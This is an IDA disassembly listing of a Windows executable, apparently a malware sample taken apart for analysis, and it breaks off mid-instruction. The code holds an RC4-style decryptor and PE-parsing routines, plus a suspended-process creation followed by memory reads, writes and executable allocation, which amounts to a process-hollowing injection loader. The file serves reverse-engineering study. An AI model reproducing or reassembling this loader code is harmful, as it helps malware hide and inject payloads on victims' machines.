; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : BCDF9CCD486E95FA45730B2E6517DFF9 ; File Name : u:\work\bcdf9ccd486e95fa45730b2e6517dff9_orig.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00002121 ( 8481.) ; Section size in file : 00003000 ( 12288.) ; Offset to raw data for section: 00001000 ; Flags 60000020: Text Executable Readable ; Alignment : default include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_401050+14p ; sub_4012B0+15p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push edi mov eax, [ebp+arg_0] imul eax, [ebp+arg_4] push eax ; dwBytes push 0 ; uFlags call ds:GlobalAlloc ; GlobalAlloc mov [ebp+var_4], eax mov ecx, [ebp+arg_4] imul ecx, [ebp+arg_0] xor eax, eax mov edi, [ebp+var_4] mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb mov eax, [ebp+var_4] pop edi mov esp, ebp pop ebp retn sub_401000 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_401040(HGLOBAL hMem) sub_401040 proc near ; CODE XREF: sub_401A30+2A8p hMem = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+hMem] push eax ; hMem call ds:GlobalFree ; GlobalFree pop ebp retn sub_401040 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401050 proc near ; CODE XREF: sub_402150+11p ; sub_402150+49p ... var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 118h push ebx push edi push 1 mov eax, [ebp+arg_8] imul eax, 0Ah push eax call sub_401000 add esp, 8 mov [ebp+var_118], eax cmp [ebp+var_118], 0 jnz short loc_401082 xor eax, eax jmp loc_4012A8 ; --------------------------------------------------------------------------- loc_401082: ; CODE XREF: sub_401050+29j mov [ebp+var_114], 0 jmp short loc_40109D ; --------------------------------------------------------------------------- loc_40108E: ; CODE XREF: sub_401050+6Cj mov ecx, [ebp+var_114] add ecx, 1 mov [ebp+var_114], ecx loc_40109D: ; CODE XREF: sub_401050+3Cj cmp [ebp+var_114], 0FFh jg short loc_4010BE mov edx, [ebp+var_114] mov al, byte ptr [ebp+var_114] mov [ebp+edx+var_100], al jmp short loc_40108E ; --------------------------------------------------------------------------- loc_4010BE: ; CODE XREF: sub_401050+57j mov [ebp+var_110], 0 mov [ebp+var_108], 0 jmp short loc_4010E3 ; --------------------------------------------------------------------------- loc_4010D4: ; CODE XREF: sub_401050+130j mov ecx, [ebp+var_108] add ecx, 1 mov [ebp+var_108], ecx loc_4010E3: ; CODE XREF: sub_401050+82j cmp [ebp+var_108], 0FFh jg loc_401185 mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 0FFFFFFFFh mov eax, [ebp+var_108] xor edx, edx div ecx mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax+edx] mov edx, [ebp+var_108] xor eax, eax mov al, [ebp+edx+var_100] mov edx, [ebp+var_110] add edx, ecx add eax, edx and eax, 800000FFh jns short loc_40113A dec eax or eax, 0FFFFFF00h inc eax loc_40113A: ; CODE XREF: sub_401050+E1j mov [ebp+var_110], eax mov eax, [ebp+var_108] mov cl, [ebp+eax+var_100] mov [ebp+var_104], cl mov edx, [ebp+var_108] mov eax, [ebp+var_110] mov cl, [ebp+eax+var_100] mov [ebp+edx+var_100], cl mov edx, [ebp+var_110] mov al, [ebp+var_104] mov [ebp+edx+var_100], al jmp loc_4010D4 ; --------------------------------------------------------------------------- loc_401185: ; CODE XREF: sub_401050+9Dj mov [ebp+var_108], 0 mov [ebp+var_110], 0 mov [ebp+var_108], 0 jmp short loc_4011B4 ; --------------------------------------------------------------------------- loc_4011A5: ; CODE XREF: sub_401050+24Dj mov ecx, [ebp+var_108] add ecx, 1 mov [ebp+var_108], ecx loc_4011B4: ; CODE XREF: sub_401050+153j mov edx, [ebp+var_108] cmp edx, [ebp+arg_8] jge loc_4012A2 mov eax, [ebp+var_108] and eax, 800000FFh jns short loc_4011D7 dec eax or eax, 0FFFFFF00h inc eax loc_4011D7: ; CODE XREF: sub_401050+17Ej mov [ebp+var_10C], eax mov ecx, [ebp+var_10C] xor edx, edx mov dl, [ebp+ecx+var_100] add edx, [ebp+var_110] and edx, 800000FFh jns short loc_401202 dec edx or edx, 0FFFFFF00h inc edx loc_401202: ; CODE XREF: sub_401050+1A8j mov [ebp+var_110], edx mov eax, [ebp+var_10C] mov cl, [ebp+eax+var_100] mov [ebp+var_104], cl mov edx, [ebp+var_10C] mov eax, [ebp+var_110] mov cl, [ebp+eax+var_100] mov [ebp+edx+var_100], cl mov edx, [ebp+var_110] mov al, [ebp+var_104] mov [ebp+edx+var_100], al mov ecx, [ebp+arg_4] add ecx, [ebp+var_108] movsx edx, byte ptr [ecx] mov eax, [ebp+var_10C] xor ecx, ecx mov cl, [ebp+eax+var_100] mov eax, [ebp+var_110] xor ebx, ebx mov bl, [ebp+eax+var_100] add ecx, ebx and ecx, 800000FFh jns short loc_401284 dec ecx or ecx, 0FFFFFF00h inc ecx loc_401284: ; CODE XREF: sub_401050+22Aj xor eax, eax mov al, [ebp+ecx+var_100] xor edx, eax mov ecx, [ebp+var_118] add ecx, [ebp+var_108] mov [ecx], dl jmp loc_4011A5 ; --------------------------------------------------------------------------- loc_4012A2: ; CODE XREF: sub_401050+16Dj mov eax, [ebp+var_118] loc_4012A8: ; CODE XREF: sub_401050+2Dj pop edi pop ebx mov esp, ebp pop ebp retn sub_401050 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4012B0 proc near ; CODE XREF: start+E3p var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] shl eax, 4 mov [ebp+var_4], eax push 1 mov ecx, [ebp+var_4] push ecx call sub_401000 add esp, 8 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_4012DA xor eax, eax jmp short loc_401309 ; --------------------------------------------------------------------------- loc_4012DA: ; CODE XREF: sub_4012B0+24j lea edx, [ebp+var_8] push edx lea eax, [ebp+var_C] push eax push 2 call dword_40529C mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+var_10] push edx push 2 call dword_405288 mov eax, [ebp+var_10] loc_401309: ; CODE XREF: sub_4012B0+28j mov esp, ebp pop ebp retn sub_4012B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401310 proc near ; CODE XREF: sub_401330+15p ; sub_401330+ACp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] lea eax, [ecx+eax-1] xor edx, edx div [ebp+arg_4] imul eax, [ebp+arg_4] pop ebp retn sub_401310 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401330 proc near ; CODE XREF: sub_401490+B2p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 push esi mov eax, [ebp+arg_8] mov ecx, [eax+38h] push ecx mov edx, [ebp+arg_8] mov eax, [edx+54h] push eax call sub_401310 add esp, 8 mov [ebp+var_4], eax mov [ebp+var_8], 0 jmp short loc_401362 ; --------------------------------------------------------------------------- loc_401359: ; CODE XREF: sub_401330:loc_401480j mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_401362: ; CODE XREF: sub_401330+27j mov edx, [ebp+arg_8] xor eax, eax mov ax, [edx+6] cmp [ebp+var_8], eax jge loc_401485 mov ecx, [ebp+var_8] imul ecx, 28h mov edx, [ebp+var_8] imul edx, 28h mov eax, [ebp+arg_C] mov ecx, [eax+ecx+14h] mov eax, [ebp+arg_C] add ecx, [eax+edx+10h] cmp ecx, [ebp+arg_4] jbe short loc_40139A xor eax, eax jmp loc_401488 ; --------------------------------------------------------------------------- loc_40139A: ; CODE XREF: sub_401330+61j mov ecx, [ebp+var_8] imul ecx, 28h mov edx, [ebp+arg_C] cmp dword ptr [edx+ecx+0Ch], 0 jz short loc_401418 mov eax, [ebp+var_8] imul eax, 28h mov ecx, [ebp+arg_C] cmp dword ptr [ecx+eax+8], 0 jz short loc_4013E9 mov edx, [ebp+arg_8] mov eax, [edx+38h] push eax mov ecx, [ebp+var_8] imul ecx, 28h mov edx, [ebp+var_8] imul edx, 28h mov eax, [ebp+arg_C] mov ecx, [eax+ecx+0Ch] mov eax, [ebp+arg_C] add ecx, [eax+edx+8] push ecx call sub_401310 add esp, 8 mov [ebp+var_4], eax jmp short loc_401416 ; --------------------------------------------------------------------------- loc_4013E9: ; CODE XREF: sub_401330+88j mov ecx, [ebp+arg_8] mov edx, [ecx+38h] push edx mov eax, [ebp+var_8] imul eax, 28h mov ecx, [ebp+var_8] imul ecx, 28h mov edx, [ebp+arg_C] mov eax, [edx+eax+0Ch] mov edx, [ebp+arg_C] add eax, [edx+ecx+10h] push eax call sub_401310 add esp, 8 mov [ebp+var_4], eax loc_401416: ; CODE XREF: sub_401330+B7j jmp short loc_401480 ; --------------------------------------------------------------------------- loc_401418: ; CODE XREF: sub_401330+78j mov eax, [ebp+var_8] imul eax, 28h mov ecx, [ebp+var_8] imul ecx, 28h mov edx, [ebp+arg_C] mov esi, [ebp+arg_C] mov eax, [edx+eax+8] cmp eax, [esi+ecx+10h] jnb short loc_40145B mov ecx, [ebp+arg_8] mov edx, [ecx+38h] push edx mov eax, [ebp+var_8] imul eax, 28h mov ecx, [ebp+arg_C] mov edx, [ecx+eax+8] push edx call sub_401310 add esp, 8 mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx jmp short loc_401480 ; --------------------------------------------------------------------------- loc_40145B: ; CODE XREF: sub_401330+102j mov edx, [ebp+arg_8] mov eax, [edx+38h] push eax mov ecx, [ebp+var_8] imul ecx, 28h mov edx, [ebp+arg_C] mov eax, [edx+ecx+8] push eax call sub_401310 add esp, 8 mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx loc_401480: ; CODE XREF: sub_401330:loc_401416j ; sub_401330+129j jmp loc_401359 ; --------------------------------------------------------------------------- loc_401485: ; CODE XREF: sub_401330+3Ej mov eax, [ebp+var_4] loc_401488: ; CODE XREF: sub_401330+65j pop esi mov esp, ebp pop ebp retn sub_401330 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401490 proc near ; CODE XREF: sub_401CF0+25p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 18h push esi mov eax, [ebp+arg_0] mov [ebp+var_18], eax cmp [ebp+arg_4], 40h jnb short loc_4014AA xor eax, eax jmp loc_401779 ; --------------------------------------------------------------------------- loc_4014AA: ; CODE XREF: sub_401490+11j mov ecx, [ebp+var_18] xor edx, edx mov dx, [ecx] cmp edx, 5A4Dh jz short loc_4014C1 xor eax, eax jmp loc_401779 ; --------------------------------------------------------------------------- loc_4014C1: ; CODE XREF: sub_401490+28j mov eax, [ebp+var_18] mov ecx, [eax+3Ch] add ecx, 0F8h cmp [ebp+arg_4], ecx jge short loc_4014D9 xor eax, eax jmp loc_401779 ; --------------------------------------------------------------------------- loc_4014D9: ; CODE XREF: sub_401490+40j mov edx, [ebp+var_18] mov eax, [ebp+var_18] add eax, [edx+3Ch] mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp dword ptr [ecx], 4550h jz short loc_4014F7 xor eax, eax jmp loc_401779 ; --------------------------------------------------------------------------- loc_4014F7: ; CODE XREF: sub_401490+5Ej mov edx, [ebp+var_8] xor eax, eax mov ax, [edx+16h] and eax, 2000h test eax, eax jnz short loc_40151F xor ecx, ecx test ecx, ecx jnz short loc_40151F mov edx, [ebp+var_8] xor eax, eax mov ax, [edx+14h] cmp eax, 0E0h jz short loc_401526 loc_40151F: ; CODE XREF: sub_401490+77j ; sub_401490+7Dj xor eax, eax jmp loc_401779 ; --------------------------------------------------------------------------- loc_401526: ; CODE XREF: sub_401490+8Dj mov ecx, [ebp+var_8] add ecx, 0F8h mov [ebp+var_4], ecx mov edx, [ebp+var_4] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+var_18] push edx call sub_401330 add esp, 10h mov ecx, [ebp+arg_14] mov [ecx], eax mov edx, [ebp+arg_14] cmp dword ptr [edx], 0 jnz short loc_40155E xor eax, eax jmp loc_401779 ; --------------------------------------------------------------------------- loc_40155E: ; CODE XREF: sub_401490+C5j push 40h push 1000h mov eax, [ebp+arg_14] mov ecx, [eax] push ecx push 0 call dword_4052FC mov edx, [ebp+arg_10] mov [edx], eax mov eax, [ebp+arg_10] cmp dword ptr [eax], 0 jz loc_401774 mov ecx, [ebp+var_8] mov edx, [ecx+54h] mov [ebp+var_14], edx mov [ebp+var_10], 0 jmp short loc_40159F ; --------------------------------------------------------------------------- loc_401596: ; CODE XREF: sub_401490:loc_4015DFj mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax loc_40159F: ; CODE XREF: sub_401490+104j mov ecx, [ebp+var_8] xor edx, edx mov dx, [ecx+6] cmp [ebp+var_10], edx jge short loc_4015E1 mov eax, [ebp+var_10] imul eax, 28h mov ecx, [ebp+var_4] cmp dword ptr [ecx+eax+14h], 0 jz short loc_4015DF mov edx, [ebp+var_10] imul edx, 28h mov eax, [ebp+var_4] mov ecx, [eax+edx+14h] cmp ecx, [ebp+var_14] jnb short loc_4015DF mov edx, [ebp+var_10] imul edx, 28h mov eax, [ebp+var_4] mov ecx, [eax+edx+14h] mov [ebp+var_14], ecx loc_4015DF: ; CODE XREF: sub_401490+12Bj ; sub_401490+13Dj jmp short loc_401596 ; --------------------------------------------------------------------------- loc_4015E1: ; CODE XREF: sub_401490+11Bj mov edx, [ebp+var_14] push edx mov eax, [ebp+var_18] push eax mov ecx, [ebp+arg_10] mov edx, [ecx] push edx call sub_402910 add esp, 0Ch mov eax, [ebp+arg_10] mov ecx, [eax] mov edx, [ebp+arg_10] mov eax, [edx] add eax, [ecx+3Ch] mov ecx, [ebp+arg_8] mov [ecx], eax mov edx, [ebp+arg_8] mov eax, [edx] add eax, 0F8h mov ecx, [ebp+arg_C] mov [ecx], eax mov edx, [ebp+arg_8] mov eax, [edx] mov ecx, [eax+38h] push ecx mov edx, [ebp+arg_8] mov eax, [edx] mov ecx, [eax+54h] push ecx call sub_401310 add esp, 8 mov edx, [ebp+arg_10] mov ecx, [edx] add ecx, eax mov [ebp+var_C], ecx mov [ebp+var_10], 0 jmp short loc_40164E ; --------------------------------------------------------------------------- loc_401645: ; CODE XREF: sub_401490:loc_40176Fj mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx loc_40164E: ; CODE XREF: sub_401490+1B3j mov eax, [ebp+arg_8] mov ecx, [eax] xor edx, edx mov dx, [ecx+6] cmp [ebp+var_10], edx jge loc_401774 mov eax, [ebp+var_10] imul eax, 28h mov ecx, [ebp+arg_C] mov edx, [ecx] cmp dword ptr [edx+eax+0Ch], 0 jz short loc_40168B mov eax, [ebp+var_10] imul eax, 28h mov ecx, [ebp+arg_C] mov edx, [ecx] mov ecx, [ebp+arg_10] mov ecx, [ecx] add ecx, [edx+eax+0Ch] mov [ebp+var_C], ecx loc_40168B: ; CODE XREF: sub_401490+1E2j mov edx, [ebp+var_10] imul edx, 28h mov eax, [ebp+arg_C] mov ecx, [eax] cmp dword ptr [ecx+edx+10h], 0 jz loc_401746 mov edx, [ebp+var_10] imul edx, 28h mov eax, [ebp+arg_C] mov ecx, [eax] mov edx, [ecx+edx+10h] push edx mov eax, [ebp+var_10] imul eax, 28h mov ecx, [ebp+arg_C] mov edx, [ecx] mov ecx, [ebp+var_18] add ecx, [edx+eax+14h] push ecx mov edx, [ebp+var_C] push edx call sub_402910 add esp, 0Ch mov eax, [ebp+var_10] imul eax, 28h mov ecx, [ebp+arg_C] mov edx, [ecx] mov ecx, [ebp+var_10] imul ecx, 28h mov esi, [ebp+arg_C] mov esi, [esi] mov edx, [edx+eax+8] cmp edx, [esi+ecx+10h] jnb short loc_40171B mov eax, [ebp+arg_8] mov ecx, [eax] mov edx, [ecx+38h] push edx mov eax, [ebp+var_10] imul eax, 28h mov ecx, [ebp+arg_C] mov edx, [ecx] mov eax, [edx+eax+10h] push eax call sub_401310 add esp, 8 mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx jmp short loc_401744 ; --------------------------------------------------------------------------- loc_40171B: ; CODE XREF: sub_401490+25Ej mov edx, [ebp+arg_8] mov eax, [edx] mov ecx, [eax+38h] push ecx mov edx, [ebp+var_10] imul edx, 28h mov eax, [ebp+arg_C] mov ecx, [eax] mov edx, [ecx+edx+8] push edx call sub_401310 add esp, 8 mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx loc_401744: ; CODE XREF: sub_401490+289j jmp short loc_40176F ; --------------------------------------------------------------------------- loc_401746: ; CODE XREF: sub_401490+20Bj mov edx, [ebp+arg_8] mov eax, [edx] mov ecx, [eax+38h] push ecx mov edx, [ebp+var_10] imul edx, 28h mov eax, [ebp+arg_C] mov ecx, [eax] mov edx, [ecx+edx+8] push edx call sub_401310 add esp, 8 mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx loc_40176F: ; CODE XREF: sub_401490:loc_401744j jmp loc_401645 ; --------------------------------------------------------------------------- loc_401774: ; CODE XREF: sub_401490+EEj ; sub_401490+1CCj mov eax, 1 loc_401779: ; CODE XREF: sub_401490+15j ; sub_401490+2Cj ... pop esi mov esp, ebp pop ebp retn sub_401490 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401780 proc near ; CODE XREF: sub_4017A0+17p ; sub_401A30:loc_401AFEp push ebp mov ebp, esp xor eax, eax cmp dword_4052E0, 0 setnz al pop ebp retn sub_401780 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4017A0(LPCSTR lpString2) sub_4017A0 proc near ; CODE XREF: sub_401A30+22p lpString1 = dword ptr -4 lpString2 = dword ptr 8 push ebp mov ebp, esp push ecx push edi push 1 push 100h call sub_401000 add esp, 8 mov [ebp+lpString1], eax call sub_401780 test eax, eax jz short loc_4017F0 mov ecx, 40h xor eax, eax mov edi, [ebp+lpString1] rep stosd push 100h mov eax, [ebp+lpString1] push eax push 0 call dword_4052C0 mov ecx, [ebp+lpString2] push ecx ; lpString2 mov edx, [ebp+lpString1] push edx ; lpString1 call ds:lstrcatA ; lstrcatA mov eax, [ebp+lpString1] jmp short loc_4017F2 ; --------------------------------------------------------------------------- loc_4017F0: ; CODE XREF: sub_4017A0+1Ej xor eax, eax loc_4017F2: ; CODE XREF: sub_4017A0+4Ej pop edi mov esp, ebp pop ebp retn sub_4017A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401800 proc near ; CODE XREF: sub_401A30+127p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp dword ptr [eax+0A0h], 0 jz short loc_401825 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+0A4h], 0 jz short loc_401825 mov [ebp+var_4], 1 jmp short loc_40182C ; --------------------------------------------------------------------------- loc_401825: ; CODE XREF: sub_401800+Ej ; sub_401800+1Aj mov [ebp+var_4], 0 loc_40182C: ; CODE XREF: sub_401800+23j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_401800 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401840 proc near ; CODE XREF: sub_401A30+16Bp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_0] mov ecx, [ebp+arg_8] sub ecx, [eax+34h] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] add eax, [edx+0A0h] mov [ebp+var_4], eax loc_401861: ; CODE XREF: sub_401840+99j mov ecx, [ebp+var_4] mov edx, [ecx] mov eax, [ebp+var_4] add edx, [eax+4] test edx, edx jz short loc_4018DB mov ecx, [ebp+var_4] add ecx, 8 mov [ebp+var_14], ecx mov [ebp+var_10], 1 jmp short loc_40188B ; --------------------------------------------------------------------------- loc_401882: ; CODE XREF: sub_401840+91j mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx loc_40188B: ; CODE XREF: sub_401840+40j mov eax, [ebp+var_4] mov ecx, [eax+4] sub ecx, 8 shr ecx, 1 cmp [ebp+var_10], ecx ja short loc_4018D3 xor edx, edx test edx, edx jz short loc_4018C8 mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] add ecx, [eax] mov edx, [ebp+var_14] xor eax, eax mov ax, [edx] and eax, 0FFFh add ecx, eax mov [ebp+var_C], ecx mov ecx, [ebp+var_C] mov edx, [ecx] add edx, [ebp+var_8] mov eax, [ebp+var_C] mov [eax], edx loc_4018C8: ; CODE XREF: sub_401840+5Fj mov ecx, [ebp+var_14] add ecx, 2 mov [ebp+var_14], ecx jmp short loc_401882 ; --------------------------------------------------------------------------- loc_4018D3: ; CODE XREF: sub_401840+59j mov edx, [ebp+var_14] mov [ebp+var_4], edx jmp short loc_401861 ; --------------------------------------------------------------------------- loc_4018DB: ; CODE XREF: sub_401840+2Ej mov esp, ebp pop ebp retn sub_401840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018E0 proc near ; CODE XREF: sub_401A30+E9p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], 0 push offset LibFileName ; "ntdll.dll" call ds:LoadLibraryA ; LoadLibraryA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_401921 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call dword_405294 neg eax sbb eax, eax inc eax mov [ebp+var_4], eax mov edx, [ebp+var_8] push edx call dword_405298 loc_401921: ; CODE XREF: sub_4018E0+1Fj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4018E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401930 proc near ; CODE XREF: sub_401A30+6Cp var_7C = dword ptr -7Ch var_78 = byte ptr -78h var_74 = dword ptr -74h var_30 = byte ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 7Ch push edi mov ecx, 11h xor eax, eax lea edi, [ebp+var_74] rep stosd xor eax, eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov [ebp+var_74], 44h lea ecx, [ebp+var_10] push ecx lea edx, [ebp+var_74] push edx push 0 push 0 push 4 push 0 push 0 push 0 mov eax, [ebp+arg_0] push eax push 0 call dword_4052A8 mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz loc_401A22 mov ecx, [ebp+arg_8] mov edx, [ebp+var_10] mov [ecx], edx mov eax, [ebp+arg_C] mov ecx, [ebp+var_C] mov [eax], ecx mov edx, [ebp+arg_10] mov eax, [ebp+var_8] mov [edx], eax mov ecx, [ebp+arg_4] mov dword ptr [ecx], 10007h mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_C] mov ecx, [eax] push ecx call dword_40528C lea edx, [ebp+var_78] push edx push 4 mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+0A4h] add edx, 8 push edx mov eax, [ebp+arg_8] mov ecx, [eax] push ecx call dword_4052AC mov edx, [ebp+arg_14] mov eax, [edx] mov [ebp+var_7C], eax loc_4019E1: ; CODE XREF: sub_401930+E3j push 1Ch lea ecx, [ebp+var_30] push ecx mov edx, [ebp+var_7C] push edx mov eax, [ebp+arg_8] mov ecx, [eax] push ecx call dword_4052B4 test eax, eax jz short loc_401A15 mov [ebp+var_20], 10000h cmp [ebp+var_20], 0 jz short loc_401A0A jmp short loc_401A15 ; --------------------------------------------------------------------------- loc_401A0A: ; CODE XREF: sub_401930+D6j mov edx, [ebp+var_7C] add edx, [ebp+var_24] mov [ebp+var_7C], edx jmp short loc_4019E1 ; --------------------------------------------------------------------------- loc_401A15: ; CODE XREF: sub_401930+C9j ; sub_401930+D8j mov eax, [ebp+arg_14] mov ecx, [ebp+var_7C] sub ecx, [eax] mov edx, [ebp+arg_18] mov [edx], ecx loc_401A22: ; CODE XREF: sub_401930+4Fj mov eax, [ebp+var_14] pop edi mov esp, ebp pop ebp retn sub_401930 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_401A30(LPCSTR lpString2, int, int, int, int, int) sub_401A30 proc near ; CODE XREF: sub_401CF0+49p var_2E8 = byte ptr -2E8h var_2E4 = dword ptr -2E4h var_2E0 = dword ptr -2E0h var_2DC = dword ptr -2DCh hMem = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_230 = dword ptr -230h var_224 = dword ptr -224h var_8 = dword ptr -8 var_4 = dword ptr -4 lpString2 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 2E8h mov [ebp+var_2DC], 0FFFFFFFFh mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+34h] push edx mov eax, [ebp+lpString2] push eax ; lpString2 call sub_4017A0 add esp, 0Ch mov [ebp+hMem], eax cmp [ebp+hMem], 0 jnz short loc_401A74 mov eax, [ebp+var_2DC] jmp loc_401CE6 ; --------------------------------------------------------------------------- loc_401A74: ; CODE XREF: sub_401A30+37j lea ecx, [ebp+var_4] push ecx lea edx, [ebp+var_2E0] push edx mov eax, [ebp+arg_14] push eax lea ecx, [ebp+var_8] push ecx lea edx, [ebp+var_2DC] push edx lea eax, [ebp+var_2D4] push eax mov ecx, [ebp+hMem] push ecx call sub_401930 add esp, 1Ch test eax, eax jz loc_401CD1 mov [ebp+var_2E4], 0 mov edx, [ebp+arg_4] mov eax, [edx+34h] cmp eax, [ebp+var_2E0] jnz short loc_401AFE mov ecx, [ebp+var_4] cmp ecx, [ebp+arg_10] jb short loc_401AFE mov edx, [ebp+var_2E0] mov [ebp+var_2E4], edx lea eax, [ebp+var_2E8] push eax push 40h mov ecx, [ebp+var_4] push ecx mov edx, [ebp+var_2E4] push edx mov eax, [ebp+var_2DC] push eax call dword_4052BC jmp loc_401BA3 ; --------------------------------------------------------------------------- loc_401AFE: ; CODE XREF: sub_401A30+92j ; sub_401A30+9Aj call sub_401780 test eax, eax jz loc_401BA3 mov ecx, [ebp+var_2E0] push ecx mov edx, [ebp+var_2DC] push edx call sub_4018E0 add esp, 8 test eax, eax jz short loc_401B4A push 40h push 3000h mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+34h] push edx mov eax, [ebp+var_2DC] push eax call dword_4052E0 mov [ebp+var_2E4], 